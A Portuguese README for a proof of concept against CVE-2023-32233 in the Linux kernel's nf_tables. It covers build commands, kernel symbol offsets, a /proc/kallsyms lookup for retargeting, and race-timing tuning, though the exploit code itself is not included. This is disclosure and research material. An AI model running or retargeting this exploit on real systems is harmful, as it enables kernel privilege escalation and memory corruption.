
CVE-2023-32233: Vulnerabilidade de segurança no kernel Linux
As instruções abaixo foram testadas no Ubuntu 23.04 (Lunar Lobster).

Execute o seguinte comando para instalar as dependências de compilação:
sudo apt install gcc libmnl-dev libnftnl-dev
Execute o seguinte comando para compilar o binário do PoC:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
O perfil integrado contém parâmetros específicos para o kernel Linux distribuído em formato binário como os seguintes pacotes do Ubuntu 23.04 (Lunar Lobster):
O perfil integrado tem a seguinte aparência:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Etapas opcionais para substituir o perfil integrado ao testar com outros kernels Linux:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Para encontrar a base do kernel, examinamos a imagem nf_tables.ko na
memória do kernel. E, especificamente, analisamos o código de máquina da
sub-rotina nft_counter_destroy(). Isso significa que o nosso método é sensível
ao compilador, bem como às opções de compilação. No entanto, todos os casos
usuais podem ser tratados substituindo o perfil integrado.
Por exemplo, o código de máquina da sub-rotina nft_counter_destroy() pode ter a seguinte aparência:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
No caso acima, podemos especificar alguns parâmetros acrescentando as três linhas abaixo ao arquivo de configuração "profile".
Primeiro, redefinimos o offset do dword que precede o displacement de
free_percpu:
5 nft_counter_destroy_call_offset # hex
onde o valor 5 foi calculado usando a expressão (1e31d - 1e310) - 8.
Como verificação de sanidade, validamos então o dword no offset acima usando a seguinte máscara:
ffffffff nft_counter_destroy_call_mask # hex
esperando o seguinte valor:
e9087e8b nft_counter_destroy_call_check # hex
Explorar a vulnerabilidade exige vencer uma corrida com a thread de trabalho em segundo plano do kernel Linux. O perfil integrado foi ajustado para maximizar a chance de vencer essa corrida em uma ampla gama de microprocessadores Intel, incluindo Sandy Bridge móvel e Comet Lake de desktop. No entanto, alguns microprocessadores exigem ajustes adicionais. Por exemplo, observamos latência aumentada na troca de tarefas no Alder Lake em determinadas configurações, onde pode ser necessário acrescentar a seguinte linha ao "profile":
400 race_lead_sleep
Medimos probabilidade de 80% ou mais de explorar com sucesso a vulnerabilidade em nossos testes que usaram sistemas bare-metal ociosos.
Uma vez iniciado o PoC em um sistema vulnerável, ele pode deixar esse sistema em um estado instável, com memória do kernel corrompida. Recomendamos fortemente testar o PoC em um sistema dedicado para evitar possíveis corrupções de dados.